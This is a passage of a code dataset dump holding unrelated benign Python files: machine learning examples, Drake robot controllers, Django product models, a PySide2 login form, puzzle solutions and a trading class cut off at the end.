np.expand_dims(test_image, axis=0)\nresult = model.predict(test_image)\n\nif result >= 0.5:\n prediction = 'dog'\nelse:\n prediction = 'cat'\n\nprint(prediction)\n\nprint(history.history.keys())\nplt.plot(history.history['acc'])\nplt.plot(history.history['val_acc'])\nplt.ylabel('accuracy')\nplt.xlabel('epoch')\nplt.legend(['train', 'test'], loc='upper left')\nplt.ylim(0, 1)\nplt.grid(axis='both')\nplt.show()\n","sub_path":"classifier.py","file_name":"classifier.py","file_ext":"py","file_size_in_byte":2825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"486842870","text":"from future.utils import iteritems\nimport math\nimport numpy as np\nimport os\n\nfrom pydrake.common.cpp_param import List\nfrom pydrake.common.value import Value\nfrom pydrake.math import (\n RigidTransform,\n RollPitchYaw,\n)\nfrom pydrake.multibody.math import SpatialForce\nfrom pydrake.multibody.plant import ExternallyAppliedSpatialForce\nfrom pydrake.systems.framework import BasicVector, LeafSystem\n\n\nclass SetpointController(LeafSystem):\n def __init__(self, arms, limit, timestep=0.005):\n LeafSystem.__init__(self)\n self.limit = limit\n self.timestep = timestep\n self.arms = arms\n\n self.target_input_ports = {}\n self.setpoint_output_ports = {}\n for arm in self.arms:\n self.target_input_ports[arm] = {}\n self.setpoint_output_ports[arm] = {}\n self.target_input_ports[arm][\"position\"] = self.DeclareVectorInputPort(\n f\"{arm}_target\",\n BasicVector(6),\n )\n self.target_input_ports[arm][\"width\"] = self.DeclareVectorInputPort(\n f\"{arm}_width_target\",\n BasicVector(1),\n )\n if \"left\" in self.arms:\n self.setpoint_output_ports[\"left\"][\n \"position\"\n ] = self.DeclareVectorOutputPort(\n f\"left_setpoint\", BasicVector(6), self.DoCalcLeftOutput\n )\n self.setpoint_output_ports[\"left\"][\"width\"] = self.DeclareVectorOutputPort(\n f\"left_width_setpoint\", BasicVector(1), self.DoCalcLeftWidthOutput\n )\n if \"right\" in self.arms:\n self.setpoint_output_ports[\"right\"][\n \"position\"\n ] = self.DeclareVectorOutputPort(\n f\"right_setpoint\", BasicVector(6), self.DoCalcRightOutput\n )\n self.setpoint_output_ports[\"right\"][\"width\"] = self.DeclareVectorOutputPort(\n f\"right_width_setpoint\", BasicVector(1), self.DoCalcRightWidthOutput\n )\n\n self.current_states = {}\n for arm in self.arms:\n self.current_states[arm] = {}\n self.current_states[arm][\"position\"] = self.DeclareDiscreteState(6)\n self.current_states[arm][\"width\"] = self.DeclareDiscreteState(1)\n\n self.DeclarePeriodicDiscreteUpdateNoHandler(self.timestep)\n\n def SetPositions(self, context, arm, position, width):\n context.get_mutable_discrete_state(\n self.current_states[arm][\"position\"]\n ).SetFromVector(position)\n context.get_mutable_discrete_state(\n self.current_states[arm][\"width\"]\n ).SetFromVector(width)\n\n def DoCalcDiscreteVariableUpdates(self, context, events, discrete_state):\n for arm in self.arms:\n # Position\n position_target = self.target_input_ports[arm][\"position\"].Eval(context)\n position_current = context.get_discrete_state(\n self.current_states[arm][\"position\"]\n ).get_value()\n position_setpoint = self.get_rpyxyz_setpoint(\n position_target, position_current\n )\n discrete_state.get_mutable_vector(\n self.current_states[arm][\"position\"]\n ).SetFromVector(position_setpoint)\n\n # Width\n width_target = self.target_input_ports[arm][\"width\"].Eval(context)\n width_current = context.get_discrete_state(\n self.current_states[arm][\"width\"]\n ).get_value()\n width_setpoint = self.get_width_setpoint(width_target, width_current)\n discrete_state.get_mutable_vector(\n self.current_states[arm][\"width\"]\n ).SetFromVector(width_setpoint)\n # print(f\"Arm {arm} Position setpoint {position_setpoint} Width setpoint {width_setpoint}\")\n\n def get_width_setpoint(self, target, current):\n displace_limit = self.limit[\"width\"]\n displaced = np.clip(\n np.subtract(target, current), np.negative(displace_limit), displace_limit\n )\n setpoint = np.add(displaced, current)\n return setpoint\n\n def get_rpyxyz_setpoint(self, target, current):\n displace_limit = self.limit[\"position\"]\n diff_arr = np.subtract(target, current)\n s_vals = []\n for i in range(len(diff_arr)):\n if diff_arr[i] != 0:\n s_vals.append(displace_limit[i] / abs(diff_arr[i]))\n if len(s_vals) > 0:\n s = min(s_vals)\n else:\n s = 0\n\n displace = s * diff_arr\n setpoint = np.add(displace, current)\n # TODO: Do the angle wrap-arounds properly\n setpoint[:3] = target[:3]\n return setpoint\n\n def DoCalcLeftOutput(self, context, y_data):\n y_data.SetFromVector(\n context.get_discrete_state(\n self.current_states[\"left\"][\"position\"]\n ).get_value()\n )\n\n def DoCalcRightOutput(self, context, y_data):\n y_data.SetFromVector(\n context.get_discrete_state(\n self.current_states[\"right\"][\"position\"]\n ).get_value()\n )\n\n def DoCalcLeftWidthOutput(self, context, y_data):\n y_data.SetFromVector(\n context.get_discrete_state(self.current_states[\"left\"][\"width\"]).get_value()\n )\n\n def DoCalcRightWidthOutput(self, context, y_data):\n y_data.SetFromVector(\n context.get_discrete_state(\n self.current_states[\"right\"][\"width\"]\n ).get_value()\n )\n\n\nclass SpatialHandController(LeafSystem):\n def __init__(self, arm_info, timestep=0.0005):\n LeafSystem.__init__(self)\n self.set_name(\"low_level_hand_controller\")\n self.arm_info = arm_info\n self.previous_error = {}\n self.integral = {}\n self.desired_input_ports = {}\n self.estimated_input_ports = {}\n self.body_positions_input_port = self.DeclareAbstractInputPort(\n \"body_positions\", Value[List[RigidTransform]]()\n )\n for arm in self.arm_info:\n self.desired_input_ports[arm] = self.DeclareVectorInputPort(\n f\"{arm}_desired\", BasicVector(6)\n )\n self.previous_error[arm] = self.DeclareDiscreteState(6)\n self.integral[arm] = self.DeclareDiscreteState(6)\n\n self.DeclareAbstractOutputPort(\n f\"spatial_forces_vector\",\n lambda: Value[List[ExternallyAppliedSpatialForce]](),\n self.DoCalcAbstractOutput,\n )\n self.kp = [100, 100, 100, 10000, 10000, 10000]\n self.ki = [0, 0, 0, 1, 1, 1]\n self.kd = [10, 10, 10, 10, 10, 10]\n self.timestep = timestep\n\n def reset(self, context):\n for arm in self.arm_info:\n context.get_mutable_discrete_state(self.previous_error[arm]).SetFromVector(\n np.zeros(6)\n )\n context.get_mutable_discrete_state(self.integral[arm]).SetFromVector(\n np.zeros(6)\n )\n\n def get_external_force(self, body_index, force):\n # print(f\"Force {force[:3]}\")\n external_force = ExternallyAppliedSpatialForce()\n external_force.body_index = body_index\n external_force.p_BoBq_B = np.zeros(3)\n external_force.F_Bq_W = SpatialForce(tau=force[0:3], f=force[3:6])\n return external_force\n\n def clamp_angles(self, rpy):\n adjusted_rpy = []\n for angle in rpy:\n if angle >= math.pi:\n adjusted_rpy.append(angle - 2 * math.pi)\n elif angle < -math.pi:\n adjusted_rpy.append(angle + 2 * math.pi)\n else:\n adjusted_rpy.append(angle)\n return adjusted_rpy\n\n def DoCalcAbstractOutput(self, context, y_data):\n \"\"\"\n Sets external forces\n \"\"\"\n external_forces = []\n body_positions = self.body_positions_input_port.Eval(context)\n for arm in self.arm_info:\n desired = self.desired_input_ports[arm].Eval(context)\n pose = body_positions[int(self.arm_info[arm])]\n rotation = RollPitchYaw(pose.rotation())\n estimated = [\n rotation.roll_angle(),\n rotation.pitch_angle(),\n rotation.yaw_angle(),\n ]\n estimated.extend(pose.translation())\n error = np.subtract(desired, estimated)\n error[0:3] = self.clamp_angles(error[0:3])\n prev_error = context.get_mutable_discrete_state(self.previous_error[arm])\n integral = context.get_mutable_discrete_state(self.integral[arm])\n integral.SetFromVector(integral.get_value() + error * self.timestep)\n derivative = np.subtract(error, prev_error.get_value()) / self.timestep\n forces = np.multiply(self.kp, error)\n forces += np.multiply(self.kd, derivative)\n forces += np.multiply(self.ki, integral.get_value())\n\n clipped_forces = np.clip(\n forces,\n [-100, -100, -100, -10000, -10000, -10000],\n [100, 100, 100, 10000, 10000, 10000],\n )\n prev_error.SetFromVector(error)\n # print(f\"arm {arm} forces {clipped_forces}\")\n external_forces.append(\n self.get_external_force(self.arm_info[arm], clipped_forces)\n )\n y_data.set_value(external_forces)\n\n\ndef set_targets(simulator, diagram, systems, values):\n simulator_context = simulator.get_mutable_context()\n for key in systems[\"targets\"]:\n context = diagram.GetMutableSubsystemContext(\n systems[\"targets\"][key], simulator_context\n )\n setpoint = systems[\"targets\"][key].get_mutable_source_value(context)\n setpoint.get_mutable_value()[:] = values[key]\n\n\ndef modify_targets(simulator, diagram, systems, values):\n simulator_context = simulator.get_mutable_context()\n new_values = {}\n for key in systems[\"targets\"]:\n context = diagram.GetMutableSubsystemContext(\n systems[\"targets\"][key], simulator_context\n )\n setpoint = systems[\"targets\"][key].get_mutable_source_value(context)\n setpoint.get_mutable_value()[:] = setpoint.get_value() + values[key]\n new_values[key] = setpoint.get_mutable_value()[:]\n return new_values\n","sub_path":"gym/envs/robot_locomotion_group/drake/shoe/floating_hand_controllers.py","file_name":"floating_hand_controllers.py","file_ext":"py","file_size_in_byte":10320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"619496051","text":"from lib import Data\nfrom tqdm import tqdm\nimport pandas as pd\n\ndata = Data(2019)\ntotal_game_data = []\nfor date, day_data in tqdm(data.per_day_game_data(), desc=\"Getting per day data\"):\n for player_data in day_data:\n player_data['date'] = date\n total_game_data += day_data\n\nprint(\"Saving data...\")\ndf = pd.DataFrame(total_game_data)\nfilename = \"data/nba_2018_2019_season_data.csv\"\ndf.to_csv(filename, index=False)\nprint(f\"Successfully saved to {filename}\")\n","sub_path":"scripts/get-2019-data.py","file_name":"get-2019-data.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"326991929","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport json\nimport sys\n\nwith open(\"archive/\"+sys.argv[1]+\"/log\") as f:\n chain = {}\n chain2 = {}\n\n for tweet in f:\n words = tweet.strip().split()\n prev = u\"\\n\"\n curr = u\"\\n\"\n for word in words:\n chain.setdefault(curr,[]).append(word)\n chain2.setdefault(prev+\" \"+curr,[]).append(word)\n prev = curr\n curr = word\n chain.setdefault(curr,[]).append(False)\n chain2.setdefault(prev+\" \"+curr,[]).append(False)\n\nwith open(\"archive/\"+sys.argv[1]+\"/json\", 'w') as f:\n json.dump(chain, f, indent=2, sort_keys=True, ensure_ascii=False)\n\nwith open(\"archive/\"+sys.argv[1]+\"/json2\", 'w') as f:\n json.dump(chain2, f, indent=2, sort_keys=True, ensure_ascii=False)\n","sub_path":"scripts/parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"87559284","text":"input = \"\"\".#.#..##\n..#....#\n##.####.\n...####.\n#.##..##\n#...##..\n...##.##\n#...#.#.\"\"\"\n\nface = input.split('\\n')\n\nx_limits = 0,0\ny_limits = 0,0\nz_limits = 0,0\n\ndef count_neighbours(ref_x, ref_y, ref_z):\n check_dims = range(-1, 2)\n return len([f'{ref_x + x},{ref_y + y},{ref_z + z}' for z in check_dims for y in check_dims for x in check_dims if not(x == 0 and y == 0 and z == 0) and f'{ref_x + x},{ref_y + y},{ref_z + z}' in values])\n\n\ndef cycle():\n global values, x_limits, y_limits, z_limits\n\n new_values = values.copy()\n new_x_limits = x_limits\n new_y_limits = y_limits\n new_z_limits = z_limits\n\n for z in range(z_limits[0] - 1, z_limits[1] + 2):\n for y in range(y_limits[0] - 1, y_limits[1] + 2):\n for x in range(x_limits[0] - 1, x_limits[1] + 2):\n active_count = count_neighbours(x,y,z)\n if f'{x},{y},{z}' in values and not (2 <= active_count <= 3):\n new_values.remove(f'{x},{y},{z}')\n elif f'{x},{y},{z}' not in values and active_count == 3:\n new_values.add(f'{x},{y},{z}')\n new_x_limits = (min(x, new_x_limits[0]), max(x, new_x_limits[1]))\n new_y_limits = (min(y, new_y_limits[0]), max(y, new_y_limits[1]))\n new_z_limits = (min(z, new_z_limits[0]), max(z, new_z_limits[1]))\n \n # flip\n values = new_values.copy()\n x_limits = new_x_limits\n y_limits = new_y_limits\n z_limits = new_z_limits\n\n# set values\nvalues = set()\n\nfor y, row in enumerate(face):\n for x, cell in enumerate(row):\n if cell == '#':\n values.add(f'{x},{y},{0}')\n x_limits = (min(x, x_limits[0]), max(x, x_limits[0]))\n y_limits = (min(y, y_limits[0]), max(y, y_limits[0]))\n # z_limits = (min(z, z_limits[0]), max(z, z_limits[0]))\n\ncycle()\ncycle()\ncycle()\ncycle()\ncycle()\ncycle()\nprint(len(values))\n\n","sub_path":"017_1.py","file_name":"017_1.py","file_ext":"py","file_size_in_byte":1921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"362097279","text":"import theano\nimport theano.tensor as T\n\nclass DropoutLayer():\n def __init__(self,\n _net,\n _input):\n # Save information config to its layer\n self.state = _net.net_opts['net_state']\n self.drop_rate = _net.layer_opts['drop_rate']\n self.drop_shape = _net.layer_opts['drop_shape']\n\n _theano_rng = _net.net_opts['theano_rng']\n self.output = T.switch(self.state,\n _theano_rng.binomial(size = self.drop_shape, # Training state\n n = 1,\n p = 1 - self.drop_rate,\n dtype = theano.config.floatX) * _input,\n _input * (1. - self.drop_rate)) # Valid | Test state\n\n\n","sub_path":"Layers/DropoutLayer.py","file_name":"DropoutLayer.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"344749004","text":"import unittest\nfrom origami.common import services\n\nclass TestObjectSearch(unittest.TestCase):\n\n def test_object_search(self):\n metric_owner_object_type = 'FacebookPostPublicObject'\n team_id = '52e9410e56c02c4b5a5ab4a9'\n source_service = services.Factory.create('Source')\n source_service.search_source_for_chip(team_id, None, metric_owner_object_type)\n\n# expressions = {\"attributes\":[{'name':'object_type', 'val': metric_owner_object_type}]}\n# limit = 10\n# print search\n# object_sources = search.Search().query(team_id=team_id,expressions=expressions, options={'page_size': limit})['items']\n# print object_sources\n","sub_path":"paperlaser/local/test/object_search.py","file_name":"object_search.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"130845197","text":"class Solution(object):\n def uniquePathsWithObstacles(self, obstacleGrid):\n \"\"\"\n :type obstacleGrid: List[List[int]]\n :rtype: int\n \"\"\"\n paths = []\n n = len(obstacleGrid)\n m = len(obstacleGrid[0])\n for j in range(n):\n row = []\n paths.append(row)\n for i in range(m):\n if obstacleGrid[j][i]:\n row.append(0)\n elif i == 0 and j == 0:\n row.append(1)\n elif i == 0:\n row.append(1 if paths[j - 1][i] else 0)\n elif j == 0:\n row.append(1 if paths[j][i - 1] else 0)\n else:\n v = paths[j - 1][i] + paths[j][i - 1]\n row.append(v)\n return paths[n - 1][m - 1]\n\n\nif __name__ == '__main__':\n s = Solution()\n obstacleGrid = [\n [0, 0, 0],\n [0, 1, 0],\n [0, 0, 0]\n ]\n r = s.uniquePathsWithObstacles(obstacleGrid)\n print(r)\n obstacleGrid = [\n [1, 0]\n ]\n r = s.uniquePathsWithObstacles(obstacleGrid)\n print(r)\n obstacleGrid = [\n [1],\n [0]\n ]\n r = s.uniquePathsWithObstacles(obstacleGrid)\n print(r)\n","sub_path":"leetcode/medium/unique-paths-ii.py","file_name":"unique-paths-ii.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"461470053","text":"from PySide2.QtCore import *\r\nfrom PySide2.QtGui import *\r\nfrom PySide2.QtWidgets import *\r\n\r\n\r\nclass Ui_Authentification(object):\r\n def setupUi(self, Authentification):\r\n if not Authentification.objectName():\r\n Authentification.setObjectName(u\"Authentification\")\r\n Authentification.setEnabled(True)\r\n Authentification.resize(515, 470)\r\n Authentification.setStyleSheet(u\"background-color:rgb(255, 192, 64)\")\r\n self.centralwidget = QWidget(Authentification)\r\n self.centralwidget.setObjectName(u\"centralwidget\")\r\n self.pushButton = QPushButton(self.centralwidget)\r\n self.pushButton.setObjectName(u\"pushButton\")\r\n self.pushButton.setGeometry(QRect(150, 260, 201, 31))\r\n font = QFont()\r\n font.setFamily(u\"Times New Roman\")\r\n font.setPointSize(14)\r\n self.pushButton.setFont(font)\r\n self.pushButton.setStyleSheet(u\"background-color:rgb(255, 64, 17)\")\r\n self.label = QLabel(self.centralwidget)\r\n self.label.setObjectName(u\"label\")\r\n self.label.setGeometry(QRect(200, 20, 91, 31))\r\n font1 = QFont()\r\n font1.setFamily(u\"Times New Roman\")\r\n font1.setPointSize(24)\r\n self.label.setFont(font1)\r\n self.plainTextEdit = QPlainTextEdit(self.centralwidget)\r\n self.plainTextEdit.setObjectName(u\"plainTextEdit\")\r\n self.plainTextEdit.setGeometry(QRect(23, 70, 441, 41))\r\n font2 = QFont()\r\n font2.setFamily(u\"Times New Roman\")\r\n font2.setPointSize(18)\r\n self.plainTextEdit.setFont(font2)\r\n self.label_2 = QLabel(self.centralwidget)\r\n self.label_2.setObjectName(u\"label_2\")\r\n self.label_2.setGeometry(QRect(190, 110, 101, 51))\r\n self.label_2.setFont(font1)\r\n self.plainTextEdit_2 = QPlainTextEdit(self.centralwidget)\r\n self.plainTextEdit_2.setObjectName(u\"plainTextEdit_2\")\r\n self.plainTextEdit_2.setGeometry(QRect(33, 170, 431, 41))\r\n self.plainTextEdit_2.setFont(font2)\r\n self.pushButton_2 = QPushButton(self.centralwidget)\r\n self.pushButton_2.setObjectName(u\"pushButton_2\")\r\n self.pushButton_2.setGeometry(QRect(140, 320, 221, 41))\r\n self.pushButton_2.setFont(font)\r\n self.pushButton_2.setStyleSheet(u\"background-color:rgb(255, 64, 17)\")\r\n self.statusbar = QStatusBar(Authentification)\r\n self.statusbar.setObjectName(u\"statusbar\")\r\n\r\n self.retranslateUi(Authentification)\r\n\r\n QMetaObject.connectSlotsByName(Authentification)\r\n # setupUi\r\n\r\n def retranslateUi(self, Authentification):\r\n Authentification.setWindowTitle(QCoreApplication.translate(\"Authentification\", u\"\\u0410\\u0432\\u0442\\u043e\\u0440\\u0438\\u0437\\u0430\\u0446\\u0438\\u044f\", None))\r\n self.pushButton.setText(QCoreApplication.translate(\"Authentification\", u\"\\u0412\\u043e\\u0439\\u0442\\u0438\", None))\r\n self.label.setText(QCoreApplication.translate(\"Authentification\", u\"\\u041b\\u043e\\u0433\\u0438\\u043d\", None))\r\n self.label_2.setText(QCoreApplication.translate(\"Authentification\", u\"\\u041f\\u0430\\u0440\\u043e\\u043b\\u044c\", None))\r\n self.pushButton_2.setText(QCoreApplication.translate(\"Authentification\", u\"\\u041f\\u0440\\u043e\\u0439\\u0442\\u0438 \\u0440\\u0435\\u0433\\u0438\\u0441\\u0442\\u0440\\u0430\\u0446\\u0438\\u044e\", None))\r\n # retranslateUi\r\n\r\n","sub_path":"configAW.py","file_name":"configAW.py","file_ext":"py","file_size_in_byte":3351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"355135980","text":"from django.db import models\nfrom django.db.models import Q\n\nfrom core.models import BaseModel\n\n\ndef category_dir_path(instance, filename):\n return 'category/{0}/{1}/{2}'.format(instance.title, \"image\", filename)\n\n\nclass Category(BaseModel):\n\n class Meta:\n verbose_name_plural = 'Categories'\n\n parent_category = models.ForeignKey(\n 'self',\n verbose_name=\"Parent Category\",\n related_name=\"subcategories\",\n null=True,\n blank=True,\n )\n title = models.CharField(\n verbose_name=\"Category title\",\n max_length=1000,\n unique=True\n )\n priority_order = models.IntegerField(\n verbose_name=\"Priority order\",\n default=1,\n )\n description = models.TextField(\n verbose_name=\"description\",\n )\n image = models.ImageField(\n verbose_name=\"Image\",\n null=True,\n blank=True,\n upload_to=category_dir_path\n )\n\n def __str__(self):\n return self.title\n\n\ndef product_image_dir_path(instance, filename):\n return 'product/{0}/{1}/{2}'.format(instance.product.title, \"images\", filename)\n\n\nclass ProductImage(BaseModel):\n\n image = models.ImageField(\n verbose_name=\"Image\",\n upload_to=product_image_dir_path,\n )\n product = models.ForeignKey(\n 'Product',\n verbose_name=\"product\",\n related_name=\"images\"\n )\n priority_order = models.IntegerField(\n verbose_name=\"Priority Order\",\n default=1,\n )\n\n def __str__(self):\n return self.image.name\n\n\nclass Product(BaseModel):\n\n category = models.ForeignKey(\n Category,\n verbose_name=\"Category\",\n related_name=\"products\",\n )\n priority_order = models.IntegerField(\n verbose_name=\"Priority Order\",\n default=1,\n )\n title = models.CharField(max_length=1000, db_index=True)\n description = models.TextField()\n long_description = models.TextField()\n\n old_price = models.FloatField(\n verbose_name=\"Old product price\",\n null=True,\n blank=True,\n )\n price = models.FloatField(\n verbose_name=\"Product price\",\n null=True,\n blank=True,\n )\n price_units = models.CharField(\n max_length=100,\n default=\"руб./секция\",\n )\n\n old_installation_price = models.FloatField(\n verbose_name=\"Old installation product price\",\n null=True,\n blank=True,\n )\n installation_price = models.FloatField(\n verbose_name=\"Installation product price\",\n null=True,\n blank=True,\n )\n installation_price_units = models.CharField(\n max_length=100,\n default=\"руб./секция\",\n )\n\n old_premium_installation_price = models.FloatField(\n verbose_name=\"Old premium installation product price\",\n null=True,\n blank=True,\n )\n premium_installation_price = models.FloatField(\n verbose_name=\"Premium installation product price\",\n null=True,\n blank=True,\n )\n premium_installation_price_units = models.CharField(\n max_length=100,\n default=\"руб./секция\",\n )\n is_favorite = models.BooleanField(\n \"Is favorite product?\",\n default=False,\n )\n\n def save(self, force_insert=False, force_update=False, using=None,\n update_fields=None):\n if self.category.subcategories.exists():\n raise ValueError(\"Can't add product to parent category\")\n return super(Product, self).save(force_insert, force_update, using,\n update_fields)\n\n def __str__(self):\n return self.title\n\n\nclass Specification(BaseModel):\n\n product = models.ForeignKey(\n Product,\n verbose_name=\"Product\",\n related_name=\"specifications\",\n )\n priority_order = models.IntegerField(\n verbose_name=\"Priority order\",\n default=1,\n )\n title = models.TextField(\n verbose_name=\"Title\"\n )\n value = models.TextField(\n verbose_name=\"Value\"\n )\n\n def __str__(self):\n return self.title\n\n\nclass Requisites(BaseModel):\n\n address = models.CharField(\n verbose_name=\"Address\",\n max_length=1000,\n null=True,\n blank=True,\n )\n phone = models.CharField(\n verbose_name=\"Phone number\",\n max_length=20,\n null=True,\n blank=True,\n )\n additional_phone = models.CharField(\n verbose_name=\"Additional phone number\",\n max_length=20,\n null=True,\n blank=True,\n )\n email = models.CharField(\n verbose_name=\"Email\",\n max_length=100,\n null=True,\n blank=True,\n )\n working_hours = models.CharField(\n verbose_name=\"Working Hours\",\n max_length=100,\n null=True,\n blank=True,\n )\n area = models.TextField(\n verbose_name=\"Area\",\n null=True,\n blank=True,\n )\n additional_area_info = models.TextField(\n verbose_name=\"Additional area information\",\n null=True,\n blank=True,\n )\n\n requisites = models.TextField(\n verbose_name=\"Requisites\",\n null=True,\n blank=True,\n )\n\n def save(self, force_insert=False, force_update=False, using=None,\n update_fields=None):\n result = super(Requisites, self).save(force_insert, force_update,\n using, update_fields)\n Requisites.objects.filter(~Q(id=self.id)).delete()\n return result\n","sub_path":"product/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"280394153","text":"\n# coding: utf-8\n\n# In[1]:\n\nimport tensorflow as tf\nimport numpy as np;\nimport pandas as pd;\nBATCH_SIZE=50;\nLEARNING_RATE = 1e-4\nimage_size=784\nlabel=10;\nimage_width=28;\nimage_height=28;\n\n\n# In[2]:\n\n# weight initialization\ndef w_variable(shape):\n initial = tf.truncated_normal(shape, stddev=0)\n return tf.Variable(initial)\ndef b_variable(shape):\n initial = tf.constant(0.1, shape=shape)\n return tf.Variable(initial)\ndef conv2d(x, W):\n return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='SAME')\ndef mpool(x):\n return tf.nn.max_pool(x, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME')\ndef gaussian_noise_layer(input_layer, std):\n noise = tf.random_normal(shape=tf.shape(input_layer), mean=0.0, stddev=std, dtype=tf.float32) \n return input_layer + noise\n\n\n# In[3]:\n\ntest=pd.read_csv('~/Documents/GIT_HUB/MNIST/test.csv').values\ntest=test.astype(np.float);\ntest=np.multiply(test,1.0/255.0);\nstd=tf.placeholder('float')\nkeep_prob1=tf.placeholder('float')\nkeep_prob=tf.placeholder('float')\nx = tf.placeholder('float', shape=[None, image_size]);\n#W=tf.placeholder('float',shape=[images.shape[1],10])\ny_=tf.placeholder('float',shape=[None,label])\nW_conv1 = w_variable([5, 5, 1, 32])\nb_conv1 = b_variable([32])\nimage = tf.reshape(x, [-1,image_width , image_height,1])\ngraph = tf.get_default_graph()\nh_conv1 = tf.nn.relu(conv2d(image, W_conv1) + b_conv1)\nh_pool1 = mpool(h_conv1)\n#h_pool1 = tf.nn.dropout(h_pool1,keep_prob1);\n# second convolutional layer\nW_conv2 = w_variable([5, 5, 32, 64])\nb_conv2 = b_variable([64])\nh_conv2 = tf.nn.relu(conv2d(h_pool1, W_conv2) + b_conv2)\nh_pool2 = mpool(h_conv2)\nW_conv3=w_variable([1,1,64,64])\nb_conv3=b_variable([64])\nh_pool2=tf.nn.relu(conv2d(h_pool2,W_conv3)+b_conv3);\n#h_pool2 = tf.nn.dropout(h_pool2,keep_prob1);\nW_fc1 = w_variable([7 * 7 * 64, 1024])\nb_fc1 = b_variable([1024])\nh_pool2_flat = tf.reshape(h_pool2, [-1, 7*7*64])\nh_fc1 = tf.nn.relu(tf.matmul(h_pool2_flat, W_fc1) + b_fc1)\nh_fc1_drop = tf.nn.dropout(h_fc1, keep_prob)\n#this is the output layer\nW_fc2 = w_variable([1024, label])\nb_fc2 = b_variable([label])\ny = tf.nn.softmax(tf.matmul(h_fc1_drop, W_fc2) + b_fc2)\n# optimisation function\ncross_entropy = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=y_, logits=y))\ntrain_step = tf.train.AdamOptimizer(LEARNING_RATE).minimize(cross_entropy)\ncorrect_prediction = tf.equal(tf.argmax(y,1), tf.argmax(y_,1))\naccuracy = tf.reduce_mean(tf.cast(correct_prediction, 'float'))\npredict = tf.argmax(y,1)\ninit = tf.initialize_all_variables()\nsess = tf.InteractiveSession()\nsaver = tf.train.Saver()\n\n\n# In[4]:\n\ntry:\n with tf.Session() as sess:\n LOAD_FILE=input(\"Enter the name of the model to load the tensorflow model\");\n SAVE_FILE=input(\"Enter the name of csv file that you want to save\");\n saver = tf.train.import_meta_graph(LOAD_FILE+'.meta');\n saver.restore(sess,LOAD_FILE)\n predicted_values=np.zeros(shape=(test.shape[0]));\n for i in range(0,test.shape[0]//BATCH_SIZE):\n predicted_values[i*(BATCH_SIZE):(i+1)*BATCH_SIZE]=predict.eval(feed_dict={x:test[(i*BATCH_SIZE):(i+1)*BATCH_SIZE],keep_prob:1.0});\n print(predicted_values[10])\n np.savetxt(SAVE_FILE+\".csv\", \n np.c_[range(1,len(test)+1),predicted_values], \n delimiter=',', \n header = 'ImageId,Label', \n comments = '', \n fmt='%d')\nexcept OSError as e:\n print('FILE DO NOT EXIST')\n\n\n# In[ ]:\n\n\n\n\n# In[ ]:\n\n\n\n","sub_path":"LOAD_MODEL.py","file_name":"LOAD_MODEL.py","file_ext":"py","file_size_in_byte":3490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"460064793","text":"# 다항분류 : softmax 활성화 함수 사용 \n\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense\nfrom tensorflow.keras.utils import to_categorical\nimport numpy as np \nimport matplotlib.pyplot as plt \n\n\nnp.random.seed(1)\n\nxdata = np.random.random((1000,12))\nydata = np.random.randint(10,size = (1000,1))\nydata = to_categorical(ydata, num_classes= 10)\nprint(xdata[:2],xdata.shape)\nprint(ydata[:2],ydata.shape) #레이블 10개\n\nmodel= Sequential()\n\nmodel.add(Dense(100,input_shape = (12,), activation='relu')) # 입력 12개 > 출력 100개 \nmodel.add(Dense(50,activation='relu')) # 레이어 추가 100 > 50 > 10\nmodel.add(Dense(10,activation='softmax')) #softmax > 확률값 \n\nprint(model.summary()) \nmodel.compile(optimizer = 'adam', loss ='categorical_crossentropy', metrics=['acc'])\n\nhist = model.fit(xdata,ydata,epochs=500,batch_size = 32 , verbose=2)\n\nmodel_eval = model.evaluate(xdata,ydata) #모델의 성능평가\n\nprint('model_eval : ' , model_eval) # model_eval : [0.09353379160165787, 0.9990000128746033] > 정확도 0.99\n\nprint('예측값 : ',[np.argmax(i) for i in (model.predict(xdata[:5]))])\nprint('실제값 : ', [np.argmax(i) for i in ydata[:5]])\n\n\n# 시각화 \n\nplt.plot(hist.history['loss'])\nplt.plot(hist.history['acc'])\n\nplt.show()\n\n# 새로운 값 예측 \n\nx_new = np.random.random((1,12))\nprint(x_new)\npred = model.predict(x_new)\nprint('pred 합 : ', np.sum(pred))\nprint(pred)\nprint(np.argmax(pred))\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"py_tensorflow/pack/tf3/케라스13다항분류_softmax.py","file_name":"케라스13다항분류_softmax.py","file_ext":"py","file_size_in_byte":1498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"239381992","text":"import quandl\nimport pandas as pd\n\nclass MeanReversion:\n def __init__(self, security, start_date, end_date, sma_, lma_):\n\n self.security = security\n self.start_date = start_date\n self.end_date = end_date\n self.sma_ = sma_\n self.lma_ = lma_\n self.data = quandl.get(\"WIKI/{}\".format(self.security),start_date = self.start_date, 